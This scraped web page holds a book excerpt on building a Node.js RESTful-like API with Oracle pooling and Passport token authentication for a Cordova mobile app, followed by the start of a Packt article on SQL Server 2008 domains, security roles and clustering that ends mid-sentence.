applications, to have the desire to connect your mobile app directly to your data store. This is an incredibly bad idea, which means your data store is vulnerable and exposed to attacks from the outside world (unless you require the user to log in to a VPN). It also means that your mobile app has a lot of code dedicated solely to querying your data store, which makes for a tightly coupled environment. If you ever want to change your database platform or modify the table structures, you will need to update the app, and any app that wasn't updated will stop working. Furthermore, if you want another system to access the data, for example, a reporting solution, you will need to repeat the same queries and logic already implemented in your app in order to ensure consistency. For these reasons alone, it's a bad idea to directly connect your mobile app to your backend database. However, there's one more good reason: Cordova has no nonlocal database drivers whatsoever. Although it's not unusual for a desktop application to make a direct connection to your database on an internal network, Cordova has no facility to load a database driver to interface directly with an Oracle or MySQL database. This means that you must build an intermediary service to bridge the gap from your database backend to your mobile app. No middle-tier is exactly the same, but for web and mobile apps, this intermediary service—also called an application server—is typically a relatively simple web server. This server accepts incoming requests from a client (our mobile app or a website), processes them, and returns the appropriate results. In order to do so, the web server parses these requests using a variety of middleware (security, session handling, cookie handling, request parsing, and so on) and then executes the appropriate request handler for the request. This handler then needs to pass this request on to the business logic handler, which, in our case, lives on the database server. The business logic will determine how to react to the request and returns the appropriate data to the request handler. The request handler transforms this data into something usable by the client, for example, JSON or XML, and returns it to the client. The middle-tier provides an Application Programming Interface (API). Beyond authentication and session handling, the middle-tier provides a set of reusable components that perform specific tasks by delegating these tasks to lower tiers. As an example, one of the components of our Tasker app is named get-task-comments. Provided the user is properly authenticated, the component will request a specific task from the business logic and return the attached comments. Our mobile app (or any other consumer) only needs to know how to call get-task-comments. This decouples the client from the database and ensures that we aren't unnecessarily repeating code. The flow of request and response looks a lot like the following figure: Designing a RESTful-like API A mobile app interfaces with your business logic and data store via an API provided by the application server middle-tier. Exactly how this API is implemented and how the client uses it is up to the developers of the system. In the past, this has often meant using web services (over HTTP) with information interchange via Simple Object Access Protocol (SOAP). Recently, RESTful APIs have become the norm when working with web and mobile applications. These APIs conform to the following constraints: Client/Server: Clients are not concerned with how data is stored, (that's the server's job), and servers are not concerned with state (that's the client's job). They should be able to be developed and/or replaced completely independently of each other (low coupling) as long as the API remains the same. Stateless: Each request should have the necessary information contained within it so that the server can properly handle the request. The server isn't concerned about session states; this is the sole domain of the client. Cacheable: Responses must specify if they can be cached or not. Proper management of this can greatly improve performance and scalability. Layered: The client shouldn't be able to tell if there are any intermediary servers between it and the server. This ensures that additional servers can be inserted into the chain to provide caching, security, load balancing, and so on. Code-on-demand: This is an optional constraint. The server can send the necessary code to handle the response to the client. For a mobile PhoneGap app, this might involve sending a small snippet of JavaScript, for example, to handle how to display and interact with a Facebook post. Uniform Interface: Resources are identified by a Uniform Resource Identifier (URI), for example, https://pge-as.example.com/task/21 refers to the task with an identifier of 21. These resources can be expressed in any number of formats to facilitate data interchange. Furthermore, when the client has the resource (in whatever representation it is provided), the client should also have enough information to manipulate the resource. Finally, the representation should indicate valid state transitions by providing links that the client can use to navigate the state tree of the system. There are many good web APIs in production, but often they fail to address the last constraint very well. They might represent resources using URIs, but typically the client is expected to know all the endpoints of the API and how to transition between them without the server telling the client how to do so. This means that the client is tightly coupled to the API. If the URIs or the API change, then the client breaks. RESTful APIs should instead provide all the valid state transitions with each response. This lets the client reduce its coupling by looking for specific actions rather than assuming that a specific URI request will work. Properly implemented, the underlying URIs could change and the client app would be unaffected. The only thing that needs to be constant is the entry URI to the API. There are many good examples of these kinds of APIs, PayPal's is quite good as are many others. The responses from these APIs always contain enough information for the client to advance to the next state in the chain. So in the case of PayPal, a response will always contain enough information to advance to the next step of the monetary transaction. Because the response contains this information, the client only needs to look at the response rather than having the URI of the next step hardcoded. RESTful APIs aren't standardized; one API might provide links to the next state in one format, while another API might use a different format. That said, there are several attempts to create a standard response format, Collection+JSON is just one example. The lack of standardization in the response format isn't as bad as it sounds; the more important issue is that as long as your app understands the response format, it can be decoupled from the URI structure of your API and its resources. The API becomes a list of methods with explicit transitions rather than a list of URIs alone. As long as the action names remain the same, the underlying URIs can be changed without affecting the client. This works well when it comes to most APIs where authorization is provided using an API key or an encoded token. For example, an API will often require authorization via OAuth 2.0. Your code asks for the proper authorization first, and upon each subsequent request, it passes an appropriate token that enables access to the requested resource. Where things become problematic, and why we're calling our API RESTful-like, is when it comes to the end user authentication. Whether the user of our mobile app recognizes it or not, they are an immediate consumer of our API. Because the data itself is protected based upon the roles and access of each particular user, users must authenticate themselves prior to accessing any data. When an end user is involved with authentication, the idea of sessions is inevitably required largely for the end user's convenience. Some sessions can be incredibly short-lived, for example, many banks will terminate a session if no activity is seen for 10 minutes, while others can be long-lived, and others might even be effectively eternal until explicitly revoked by the user. Regardless of the session length, the fact that a session is present indicates that the server must often store some information about state. Even if this information applies only to the user's authentication and session validity, it still violates the second rule of RESTful APIs. Tasker's web API, then, is a RESTful-like API. In everything except session handling and authentication, our API is like any other RESTful API. However, when it comes to authentication, the server maintains some state in order to ensure that users are properly authenticated. In the case of Tasker, the maintained state is limited. Once a user authenticates, a unique single-use token and an Hash Message Authentication Code (HMAC) secret are generated and returned to the client. This token is expected to be sent with the next API request and this request is expected to be signed with the HMAC secret. Upon completion of this API request, a new token is generated. Each token expires after a specified amount of time, or can be expired immediately by an explicit logout. Each token is stored in the backend, which means we violate the stateless rule. Our tokens are just a cryptographically random series of bytes, and because of this, there's nothing in the token that can be used to identify the user. This means we need to maintain the valid tokens and their user associations in the database. If the token contained user-identifiable information, we could technically avoid maintaining state, but this also means that the token could be forged if the attacker knew how tokens were constructed. A random token, on the other hand, means that there's no method of construction that can fool the server; the attacker will have to be very lucky to guess it right. Since Tasker's tokens are continually expiring after a short period of time and are continually regenerated upon each request, guessing a token is that much more difficult. Of course, it's not impossible for an attacker to get lucky and guess the right token on the first try, but considering the amount of entropy in most usernames and passwords, it's more likely that the attacker could guess the user's password than they could guess the correct token. Because these tokens are managed by the backend, our Tasker's API isn't truly stateless, and so it's not truly RESTful, hence the term RESTful-like. If you want to implement your API as a pure RESTful API, feel free. If your API is like that of many other APIs (such as Twitter, PayPal, Facebook, and so on), you'll probably want to do so. All this sounds well and good, but how should we go about designing and defining our API? Here's how I suggest going about it: Identify the resources. In Tasker, the resources are people, tasks, and task comments. Essentially, these are the data models. (If you take security into account, Tasker also has user and role resources in addition to sessions.) Define how the URI should represent the resource. For example, Bob Smith might be represented by /person/bob-smith or /person/29481. Query parameters are also acceptable: /person?administeredBy=john-doe will refer to the set of all individuals who have John Doe as their administrator. If this helps, think of each instance of a resource and each collection of these resources as web pages each having their own URL. Identify the actions that can be performed for each resource. For example, a task can be created and modified by the owner of the task. This task can be assigned to another user. A task's status and progress can be updated by both the owner and the assignee. With RESTful APIs, these actions are typically handled by using the HTTP verbs (also known as methods) GET, POST, PUT, and DELETE. Others can also be used, such as OPTIONS, PATCH, and so on. We'll cover in a moment how these usually line up against typical Create, Read, Update, Delete (CRUD) operations. Identify the state transitions that are valid for resources. As an example, a client's first steps might be to request a list of all tasks assigned to a particular user. As part of the response, it should be given URIs that indicate how the app should retrieve information about a particular task. Furthermore, within this single task's response, there should be information that tells the client how to modify the task. Most APIs generally mirror the typical CRUD operations. The following is how the HTTP verbs line up against the familiar CRUD counterparts for a collection of items: HTTP verb CRUD operation Description GET READ This returns the collection of items in the desired format. Often can be filtered and sorted via query parameters. POST CREATE This creates an item within the collection. The return result includes the URI for the new resource. DELETE N/A This is not typically used at the collection level, unless one wants to remove the entire collection. PUT N/A This is not typically used at the collection level, though it can be used to update/replace each item in the collection.  The same verbs are used for items within a collection: HTTP verb CRUD operation Description GET READ This returns a specific item, given the ID. POST N/A This is not typically used at the item level. DELETE DELETE This deletes a specific item, given the ID. PUT UPDATE This updates an existing item. Sometimes PATCH is used to update only specific properties of the item.  Here's an example of a state transition diagram for a portion of the Tasker API along with the corresponding HTTP verbs: Now that we've determined the states and the valid transitions, we're ready to start modeling the API and the responses it should generate. This is particularly useful before you start coding, as one will often notice issues with the API during this phase, and it's far easier to fix them now rather than after a lot of code has been written (or worse, after the API is in production). How you model your API is up to you. If you want to create a simple text document that describes the various requests and expected responses, that's fine. You can also use any number of tools that aid in modeling your API. Some even allow you to provide mock responses for testing. Some of these are identified as follows: RAML (http://raml.org): This is a markup language to model RESTful-like APIs. You can build API models using any text editor, but there is also an API designer online. Apiary (http://apiary.io): Apiary uses a markdown-like language (API blueprint) to model APIs. If you're familiar with markdown, you shouldn't have much trouble using this service. API mocking and automated testing are also provided. Swagger (http://swagger.io): This is similar to RAML, where it uses YAML as the modeling language. Documentation and client code can be generated directly from the API model. Building our API using Node.js In this section, we'll cover connecting our web service to our Oracle database, handling user authentication and session management using Passport, and defining handlers for state transitions. You'll definitely want to take a look at the /tasker-srv directory in the code package for this book, which contains the full web server for Tasker. In the following sections, we've only highlighted some snippets of the code. Connecting to the backend database Node.js's community has provided a large number of database drivers, so chances are good that whatever your backend, Node.js has a driver available for it. In our example app, we're using an Oracle database as the backend, which means we'll be using the oracle driver (https://www.npmjs.org/package/oracle). Connecting to the database is actually pretty easy, the following code shows how: var oracle = require("oracle"); oracle.connect ( { hostname: "localhost", port: 1521, database: "xe", user: "tasker", password: "password" }, function (err, client) { if (err) { /* error; return or next(err) */ } /* query the database; when done call client.close() */ }); In the real world, a development version of our server will be using a test database, and a production version of our server will use the production database. To facilitate this, we made the connection information configurable. The /config/development.json and /config/production.json files contain connection information, and the main code simply requests the configuration information when making a connection, the following code line is used to get the configuration information: oracle.connect ( config.get ( "oracle" ), … ); Since we're talking about the real world, we also need to recognize that database connections are slow and they need to be pooled in order to improve performance as well as permit parallel execution. To do this, we added the generic-pool NPM module (https://www.npmjs.org/package/generic-pool) and added the following code to app.js: var clientPool = pool.Pool( { name: "oracle", create: function ( cb ) {    return new oracle.connect( config.get("oracle"),      function ( err, client ) {        cb ( err, client );      }    ) }, destroy: function ( client ) {    try {      client.close();    } catch (err) {      // do nothing, but if we don't catch the error,      // the server crashes    } }, max: 5, min: 1, idleTimeoutMillis: 30000 }); Because our pool will always contain at least one connection, we need to ensure that when the process exits, the pool is properly drained, as follows: process.on("exit", function () { clientPool.drain( function () {    clientPool.destroyAllNow(); }); }); On its own, this doesn't do much yet. We need to ensure that the pool is available to the entire app: app.set ( "client-pool", clientPool ); Executing queries We've built our business logic in the Oracle database using PL/SQL stored procedures and functions. In PL/SQL, functions can return table-like structures. While this is similar in concept to a view, writing a function using PL/SQL provides us more flexibility. As such, our queries won't actually be talking to the base tables, they'll be talking to functions that return results based on the user's authorization. This means that we don't need additional conditions in a WHERE clause to filter based on the user's authorization, which helps eliminate code duplication. Regardless of the previous statement, executing queries and stored procedures is done using the same method, that is execute. Before we can execute anything, we need to first acquire a client connection from the pool. To this end, we added a small set of database utility methods; you can see the code in the /db-utils directory. The query utility method is shown in the following code snippet: DBUtils.prototype.query = function ( sql, bindParameters, cb ) { var self = this,    clientPool = self._clientPool,    deferred = Q.defer();    clientPool.acquire( function ( err, client ) {    if ( err ) {    winston.error("Failed to acquire connection.");      if ( cb ) {        cb( new Error( err ) );      else {        deferred.reject( err );      }    }    try {      client.execute( sql, bindParameters,        function ( err, results ) {          if ( err ) {            clientPool.release( client );            if ( cb ) {            cb( new Error( err ) );            } else {              deferred.reject( err );            }           }          clientPool.release( client );            if ( cb ) {            cb( err, results );          } else {            deferred.resolve( results );          }        } );      }      catch ( err2 ) {      try {        clientPool.release( client );      }      catch ( err3 ) {        // can't do anything...      }      if ( cb ) {        cb( err2 );      } else { deferred.reject( err2 );      }    } } ); if ( !cb ) {    return deferred.promise; } }; It's then possible to retrieve the results to an arbitrary query using the preceding method, as shown in the following code snippet: dbUtil.query( "SELECT * FROM " + "table(tasker.task_mgmt.get_task(:1,:2))", [ taskId, req.user.userId ] ) .then( function ( results ) { // if no results, return 404 not found if ( results.length === 0 ) {    return next( Errors.HTTP_NotFound() ); } // create a new task with the database results // (will be in first row) req.task = new Task( results[ 0 ] ); return next(); } ) .catch( function ( err ) { return next( new Error( err ) ); } ) .done(); The query used in the preceding code is an example of calling a stored function that returns a table structure. The results of the SELECT statement will depend on parameters (taskId and username), and get_task will decide what data can be returned based on the user's authorization. Using Passport to handle authentication and sessions Although we've implemented our own authentication protocol, it's better that we use one that has already been well vetted and is well understood as well as one that suits our particular needs. In our case, we needed the demo to stand on its own without a lot of additional services, and as such, we built our own protocol. Even so, we chose a well known cryptographic method (PBKDF2), and are using a large number of iterations and large key lengths. In order to implement authentication easily in Node.js, you'll probably want to use Passport (https://www.npmjs.org/package/passport). It has a large community, and supports a large number of authentication schemes. If at all possible, try to use third-party authentication systems as often as possible (for example, LDAP, AD, Kerberos, and so on). In our case, because our authentication method is custom, we chose to use the passport-req strategy (https://www.npmjs.org/package/passport-req). Since Tasker's authentication is token-based, we will use this to inspect a custom header that the client will use to pass us the authentication token. The following is a simplified diagram of how Tasker's authentication process works: Please don't use our authentication strategy for anything that requires high levels of security. It's just an example, and isn't guaranteed to be secure in any way. Before we can actually use Passport, we need to define how our authentication strategy actually works. We do this by calling passport.use in our app.js file: var passport = require("passport"); var ReqStrategy = require("passport-req").Strategy; var Session = require("./models/session"); passport.use ( new ReqStrategy ( function ( req, done ) {    var clientAuthToken = req.headers["x-auth-token"];    var session = new Session ( new DBUtils ( clientPool ) );    session.findSession( clientAuthToken )    .then( function ( results ) {    if ( !results ) { return done( null, false ); }    done( null, results );    } )    .catch( function ( err ) {    return done( err );    } )    .done(); } )); In the preceding code, we've given Passport a new authentication strategy. Now, whenever Passport needs to authenticate a request, it will call this small section of code. You might be wondering what's going on in findSession. Here's the code: Session.prototype.findSession = function ( clientAuthToken, cb ) { var self = this, deferred = Q.defer(); // if no token, no sense in continuing if ( typeof clientAuthToken === "undefined" ) {    if ( cb ) { return cb( null, false ); }    else { deferred.reject(); } } // an auth token is of the form 1234.ABCDEF10284128401ABC13... var clientAuthTokenParts = clientAuthToken.split( "." ); if ( !clientAuthTokenParts ) {    if ( cb ) { return cb( null, false ); }    else { deferred.reject(); } } // no auth token, no session. // get the parts var sessionId = clientAuthTokenParts[ 0 ], authToken = clientAuthTokenParts[ 1 ]; // ask the database via dbutils if the token is recognized self._dbUtils.execute( "CALL tasker.security.verify_token (:1, :2, :3, :4, :5 ) INTO :6", [ sessionId, authToken, // authorization token self._dbUtils.outVarchar2( { size: 32 } ), self._dbUtils.outVarchar2( { size: 4000 } ), self._dbUtils.outVarchar2( { size: 4000 } ), self._dbUtils.outVarchar2( { size: 1 } ) ] ) .then( function ( results ) {    // returnParam3 has a Y or N; Y is good auth    if ( results.returnParam3 === "Y" ) {      // notify callback of successful auth      var user = {        userId:   results.returnParam, sessionId: sessionId,        nextToken: results.returnParam1,        hmacSecret: results.returnParam2      };      if ( cb ) { cb( null, user ) }      else { deferred.resolve( user ); }    } else {      // auth failed      if ( cb ) { cb( null, false ); } else { deferred.reject(); }    } } ) .catch( function ( err ) {    if ( cb ) { return cb( err, false ); }    else { deferred.reject(); } } ) .done(); if ( !cb ) { return deferred.promise; } }; The dbUtils.execute() method is a wrapper method around the Oracle query method we covered in the Executing queries section. Once a session has been retrieved from the database, Passport will want to serialize the user. This is usually just the user's ID, but we serialize a little more (which, from the preceding code, is the user's ID, session ID, and the HMAC secret): passport.serializeUser(function( user, done ) { done (null, user); }); The serializeUser method is called after a successful authentication and it must be present, or an error will occur. There's also a deserializeUser method if you're using typical Passport sessions: this method is designed to restore the user information from the Passport session. Before any of this will work, we also need to tell Express to use the Passport middleware: app.use ( passport.initialize() ); Passport makes handling authentication simple, but it also provides session support as well. While we don't use it for Tasker, you can use it to support a typical session-based username/password authentication system quite easily with a single line of code: app.use ( passport.session() ); If you're intending to use sessions with Passport, make sure you also provide a deserializeUser method. Next, we need to implement the code to authenticate a user with their username and password. Remember, we initially require the user to log in using their username and password, and once authenticated, we handle all further requests using tokens. To do this, we need to write a portion of our API code. Building API handlers We won't cover the entire API in this section, but we will cover a couple of small pieces, especially as they pertain to authentication and retrieving data. First, we've codified our API in /tasker-srv/api-def in the code package for this book. You'll also want to take a look at /tasker-srv/api-utils to see how we parse out this data structure into useable routes for the Express router. Basically, we codify our API by building a simple structure: [ { "route": "/auth", "actions": [ … ] }, { "route": "/task", "actions": [ … ] }, { "route": "/task/{:taskId}", "params": [ … ],   "actions": [ … ] }, … ] Each route can have any number of actions and parameters. Parameters are equivalent to the Express Router's parameters. In the preceding example, {:taskId} is a parameter that will take on the value of whatever is in that particular location in the URI. For example, /task/21 will result in taskId with the value of 21. This is useful for our actions because each action can then assume that the parameters have already been parsed, so any actions on the /task/{:taskId} route will already have task information at hand. The parameters are defined as follows: { "name": "taskId", "type": "number", "description": "…", "returns": [ … ], "securedBy": "tasker-auth", "handler": function (req, res, next, taskId) {…} } Actions are defined as follows: { "title": "Task", "action": "get-task", "verb": "get", "description": { … }, // hypermedia description "returns": [ … ],     // http status codes that are returned "example": { … },     // example response "href": "/task/{taskId}", "template": true, "accepts": [ "application/json", … ], "sends": [ "application/json", … ], "securedBy": "tasker-auth", "hmac": "tasker-256", "store": { … }, "query-parameters": { … }, "handler": function ( req, res, next ) { … } } Each handler is called whenever that particular route is accessed by a client using the correct HTTP verbs (identified by verb in the prior code). This allows us to write a handler for each specific state transition in our API, which is nicer than having to write a large method that's responsible for the entire route. It also makes describing the API using hypermedia that much simpler, since we can require a portion of the API and call a simple utility method (/tasker-srv/api-utils/index.js) to generate the description for the client. Since we're still working on how to handle authentication, here's how the API definition for the POST /auth route looks (the complete version is located at /tasker-srv/api-def/auth/login.js): action = {    "title": "Authenticate User",    "action": "login",    "description": [ … ], "example":     { … },    "returns":     {      200: "User authenticated; see information in body.",      401: "Incorrect username or password.", …    },    "verb": "post", "href": "/auth",    "accepts": [ "application/json", … ],    "sends": [ "application/json", … ],    "csrf": "tasker-csrf",    "store": {      "body": [ { name: "session-id", key: "sessionId" },      { name: "hmac-secret", key: "hmacSecret" },      { name: "user-id", key: "userId" },      { name: "next-token", key: "nextToken" } ]    },    "template": {      "user-id": {        "title": "User Name", "key": "userId",        "type": "string", "required": true,        "maxLength": 32, "minLength": 1      },      "candidate-password": {        "title": "Password", "key": "candidatePassword",        "type": "string", "required": true,        "maxLength": 255, "minLength": 1      }    }, The earlier code is largely documentation (but it is returned to the client when they request this resource). The following code handler is what actually performs the authentication:    "handler": function ( req, res, next ) {      var session = new Session( new DBUtils(      req.app.get( "client-pool" ) ) ),        username,        password;      // does our input validate?      var validationResults =       objUtils.validate( req.body, action.template );      if ( !validationResults.validates ) {        return next(         Errors.HTTP_Bad_Request( validationResults.message ) );      }      // got here -- good; copy the values out      username = req.body.userId;      password = req.body.candidatePassword;      // create a session with the username and password      session.createSession( username, password )        .then( function ( results ) {          // no session? bad username or password          if ( !results ) {            return next( Errors.HTTP_Unauthorized() );          }        // return the session information to the client        var o = {          sessionId: results.sessionId,          hmacSecret: results.hmacSecret,          userId:   results.userId,          nextToken: results.nextToken,          _links:   {}, _embedded: {}       };        // generate hypermedia        apiUtils.generateHypermediaForAction(         action, o._links, security, "self" );          [ require( "../task/getTaskList" ),          require( "../task/getTask" ), …          require( "../auth/logout" )          ].forEach( function ( apiAction ) {            apiUtils.generateHypermediaForAction(            apiAction, o._links, security );          } );          resUtils.json( res, 200, o );        } )        .catch( function ( err ) {          return next( err );          } )        .done();      }    }; The session.createSession method looks very similar to session.findSession, as shown in the following code: Session.prototype.createSession = function ( userName, candidatePassword, cb ) { var self = this, deferred = Q.defer(); if ( typeof userName === "undefined" || typeof candidatePassword === "undefined" ) {    if ( cb ) { return cb( null, false ); }    else { deferred.reject(); } } // attempt to authenticate self._dbUtils.execute( "CALL tasker.security.authenticate_user( :1, :2, :3," + " :4, :5 ) INTO :6", [ userName, candidatePassword, self._dbUtils.outVarchar2( { size: 4000 }, self._dbUtils.outVarchar2( { size: 4000 } ), self._dbUtils.outVarchar2( { size: 4000 } ), self._dbUtils.outVarchar2( { size: 1 } ] ) .then( function ( results ) {    // ReturnParam3 has Y or N; Y is good auth    if ( results.returnParam3 === "Y" ) {      // notify callback of auth info      var user = {        userId:   userName,        sessionId: results.returnParam,        nextToken: results.returnParam1,        hmacSecret: results.returnParam2      };      if ( cb ) { cb( null, user ); }      else { deferred.resolve( user ); }    } else {      // auth failed      if ( cb ) { cb( null, false ); }      else { deferred.reject(); }    } } ) .catch( function ( err ) {    if ( cb ) { return cb( err, false ) }    else { deferred.reject(); } } ) .done(); if ( !cb ) { return deferred.promise; } }; Once the API is fully codified, we need to go back to app.js and tell Express that it should use the API's routes: app.use ( "/", apiUtils.createRouterForApi(apiDef, checkAuth)); We also add a global variable so that whenever an API section needs to return the entire API as a hypermedia structure, it can do so without traversing the entire API again: app.set( "x-api-root", apiUtils.generateHypermediaForApi( apiDef, securityDef ) ); The checkAuth method shown previously is pretty simple; all it does is ensure that we don't authenticate more than once in a single request: function checkAuth ( req, res, next ) { if (req.isAuthenticated()) {    return next(); } passport.authenticate ( "req" )(req, res, next); } You might be wondering where we're actually forcing our handlers to use authentication. There's actually a bit of magic in /tasker-srv/api-utils. I've highlighted the relevant portions: createRouterForApi:function (api, checkAuthFn) { var router = express.Router(); // process each route in the api; a route consists of the // uri (route) and a series of verbs (get, post, etc.) api.forEach ( function ( apiRoute ) {    // add params    if ( typeof apiRoute.params !== "undefined" ) {      apiRoute.params.forEach ( function ( param ) {        if (typeof param.securedBy !== "undefined" ) {          router.param( param.name, function ( req, res,          next, v) {            return checkAuthFn( req, res,            param.handler.bind(this, req, res, next, v) );          });        } else {          router.param(param.name, param.handler);        }      });    }    var uri = apiRoute.route;    // create a new route with the uri    var route = router.route ( uri );    // process through each action    apiRoute.actions.forEach ( function (action) {      // just in case we have more than one verb, split them out      var verbs = action.verb.split(",");      // and add the handler specified to the route      // (if it's a valid verb)      verbs.forEach ( function (verb) {        if (typeof route[verb] === "function") {          if (typeof action.securedBy !== "undefined") {            route[verb]( checkAuthFn, action.handler );          } else {            route[verb]( action.handler );          }        }      });    }); }); return router; }; Once you've finished writing even a few handlers, you should be able to verify that the system works by posting requests to your API. First, make sure your server has started ; we use the following code line to start the server: export NODE_ENV=development; npm start For some of the routes, you could just load up a browser and point it at your server. If you type https://localhost:4443/ in your browser, you should see a response that looks a lot like this: If you're thinking this looks styled, you're right. The Tasker API generates responses based on the client's requested format. The browser requests data in HTML, and so our API generates a styled HTML page as a response. For an app, the response is JSON because the app requests that the response be in JSON. If you want to see how this works, see /tasker-srv/res-utils/index.js. If you want to actually send and receive data, though, you'll want to get a REST client rather than using the browser. There are many good free clients: Firefox has a couple of good clients as does Chrome. Or you can find a native client for your operating system. Although you can do everything with curl on the command prompt, RESTful clients are much easier to use and often offer useful features, such as dynamic variables, various authentication methods built in, and many can act as simple automated testers. Summary In this article, we've covered how to build a web server that bridges the gap between our database backend and our mobile application. We've provided an overview of RESTful-like APIs, and we've also quickly shown how to implement such a web API using Node.js. We've also covered authentication and session handling using Passport. Resources for Article:  Further resources on this subject: Building Mobile Apps [article] Adding a Geolocation Trigger to the Salesforce Account Object [article] Introducing SproutCore [article]
Read more
  • 0
  • 0
  • 8221

article-image-microsoft-sql-server-2008-high-availability-understanding-domains-users-and-security
Packt
21 Jan 2011
14 min read
Save for later

Microsoft SQL Server 2008 High Availability: Understanding Domains, Users, and Security

Packt
21 Jan 2011
14 min read
Microsoft SQL Server 2008 High Availability Minimize downtime, speed up recovery, and achieve the highest level of availability and reliability for SQL server applications by mastering the concepts of database mirroring,log shipping,clustering, and replication  Install various SQL Server High Availability options in a step-by-step manner  A guide to SQL Server High Availability for DBA aspirants, proficient developers and system administrators  Learn the pre and post installation concepts and common issues you come across while working on SQL Server High Availability  Tips to enhance performance with SQL Server High Availability  External references for further study  Windows domains and domain users In the early era of Windows, operating system user were created standalone until Windows NT operating system hit the market. Windows NT, that is, Windows New Technology introduced some great feature to the world—including domains. A domain is a group of computers that run on Windows operating systems. Amongst them is a computer that holds all the information related to user authentication and user database and is called the domain controller (server), whereas every user who is part of this user database on the domain controller is called a domain user. Domain users have access to any resource across the domain and its subdomains with the privilege they have, unlike the standalone user who has access to the resources available to a specific system. With the release of Windows Server 2000, Microsoft released Active Directory (AD), which is now widely used with Windows operating system networks to store, authenticate, and control users who are part of the domain. A Windows domain uses various modes to authenticate users—encrypted passwords, various handshake methods such as PKI, Kerberos, EAP, SSL certificates, NAP, LDAP, and IP Sec policy—and makes it robust authentication. One can choose the authentication method that suits business needs and based on the environment. Let's now see various authentication methods in detail. Public Key Infrastructure (PKI): This is the most common method used to transmit data over insecure channels such as the Internet using digital certificates. It has generally two parts—the public and private keys. These keys are generated by a Certificate Authority, such as, Thawte. Public keys are stored in a directory where they are accessible by all parties. The public key is used by the message sender to send encrypted messages, which then can be decrypted using the private key. Kerberos: This is an authentication method used in client server architecture to authorize the client to use service(s) on a server in a network. In this method, when a client sends a request to use a service to a server, a request goes to the authentication server, which will generate a session key and a random value based on the username. This session key and a random value are then passed to the server, which grants or rejects the request. These sessions are for certain time period, which means for that particular amount of time the client can use the service without having to re-authenticate itself. Extensible Authentication Protocol (EAP): This is an authentication protocol generally used in wireless and point-to-point connections. SSL Certificates: A Secure Socket Layer certificate (SSL) is a digital certificate that is used to identify a website or server that provides a service to clients and sends the data in an encrypted form. SSL certificates are typically used by websites such as GMAIL. When we type a URL and press Enter, the web browser sends a request to the web server to identify itself. The web server then sends a copy of its SSL certificate, which is checked by the browser. If the browser trusts the certificate (this is generally done on the basis of the CA and Registration Authority and directory verification), it will send a message back to the server and in reply the web server sends an acknowledgement to the browser to start an encrypted session. Network Access Protection (NAP): This is a new platform introduced by Microsoft with the release of Windows Server 2008. It will provide access to the client, based on the identity of the client, the group it belongs to, and the level compliance it has with the policy defined by the Network Administrators. If the client doesn't have a required compliance level, NAP has mechanisms to bring the client to the compliance level dynamically and allow it to access the network. Lightweight Directory Access Protocol (LDAP): This is a protocol that runs over TCP/IP directly. It is a set of objects, that is, organizational units, printers, groups, and so on. When the client sends a request for a service, it queries the LDAP server to search for availability of information, and based on that information and level of access, it will provide access to the client. IP Security (IPSEC): IP Security is a set of protocols that provides security at the network layer. IP Sec provides two choices: Authentication Header: Here it encapsulates the authentication of the sender in a header of the network packet. Encapsulating Security Payload: Here it supports encryption of both the header and data. Now that we know basic information on Windows domains, domain users, and various authentication methods used with Windows servers, I will walk you through some of the basic and preliminary stuff about SQL Server security! Understanding SQL Server Security Security!! Now-a-days we store various kinds of information into databases and we just want to be sure that they are secured. Security is the most important word to the IT administrator and vital for everybody who has stored their information in a database as he/she needs to make sure that not a single piece of data should be made available to someone who shouldn't have access. Because all the information stored in the databases is vital, everyone wants to prevent unauthorized access to highly confidential data and here is how security implementation in SQL Server comes into the picture. With the release of SQL Server 2000, Microsoft (MS) has introduced some great security features such as authentication roles (fixed server roles and fixed database roles), application roles, various permissions levels, forcing protocol encryption, and so on, which are widely used by administrators to tighten SQL Server security. Basically, SQL Server security has two paradigms: one is SQL Server's own set of security measures and other is to integrate them with the domain. SQL Server has two methods of authentication. Windows authentication In Windows authentication mode, we can integrate domain accounts to authenticate users, and based on the group they are members of and level of access they have, DBAs can provide them access on the particular SQL server box. Whenever a user tries to access the SQL Server, his/her account is validated by the domain controller first, and then based on the permission it has, the domain controller allows or rejects the request; here it won't require separate login ID and password to authenticate. Once the user is authenticated, SQL server will allow access to the user based on the permission it has. These permissions are in form of Roles including Server, fixed DB Roles, and Application roles. Fixed Server Roles: These are security principals that have server-wide scope. Basically, fixed server roles are expected to manage the permissions at server level. We can add SQL logins, domain accounts, and domain groups to these roles. There are different roles that we can assign to a login, domain account, or group—the following table lists them. Fixed DB Roles: These are the roles that are assigned to a particular login for the particular database; its scope is limited to the database it has permission to. There are various fixed database roles, including the ones shown in the following table: Application Role: The Application role is a database principal that is widely used to assign user permissions for an application. For example, in a home-grown ERP, some users require only to view the data; we can create a role and add a db_datareader permission to it and then can add all those users who require read-only permission. Mixed Authentication: In the Mixed authentication mode, logins can be authenticated by the Windows domain controller or by SQL Server itself. DBAs can create logins with passwords in SQL Server. With the release of SQL Server 2005, MS has introduced password policies for SQL Server logins. Mixed mode authentication is used when one has to run a legacy application and it is not on the domain network. In my opinion, Windows authentication is good because we can use various handshake methods such as PKI, Kerberos, EAP, SSL NAP, LDAP, or IPSEC to tighten the security. SQL Server 2005 has enhancements in its security mechanisms. The most important features amongst them are password policy, native encryption, separation of users and schema, and no need to provide system administrator (SA) rights to run profiler. These are good things because SA is the super user, and with the power this account has, a user can do anything on the SQL box, including: The user can grant ALTER TRACE permission to users who require to run profiler The user can create login and users The user can grant or revoke permission to other users A schema is an object container that is owned by a user and is transferable to any other users. In earlier versions, objects are owned by users, so if the user leaves the company we cannot delete his/her account from the SQL box just because there is some object he/she has created. We first have to change the owner of that object and then we can delete that account. On the other hand, in the case of a schema, we could have dropped the user account because the object is owned by the schema. Now, SQL Server 2008 will give you more control over the configuration of security mechanisms. It allows you to configure metadata access, execution context, and auditing events using DDL triggers—the most powerful feature to audit any DDL event. If one wishes to know more about what we have seen till now, he/she can go through the following links: http://www.microsoft.com/sqlserver/2008/en/us/Security.aspx http://www.microsoft.com/sqlserver/2005/en/us/security-features.aspx http://technet.microsoft.com/en-us/library/cc966507.aspx In this section, we understood the basics of domains, domain users, and SQL Server security. We also learned why security is given so much emphasize these days. In the next section, we will understand the basics of clustering and its components. What is clustering? Before starting with SQL Server clustering, let's have a look at clustering in general and Windows clusters. The word Cluster itself is self-descriptive—a bunch or group. When two or more than two computers are connected to each other by means of a network and share some of the common resources to provide redundancy or performance improvement, they are known as a cluster of computers. Clustering is usually deployed when there is a critical business application running that needs to be available 24 X 7 or in terminology—High Availability. These clusters are known as Failover clusters because the primary goal to set up the cluster is to make services or business processes that are business critical available 24 X 7. MS Windows server Enterprise and Datacenter edition supports 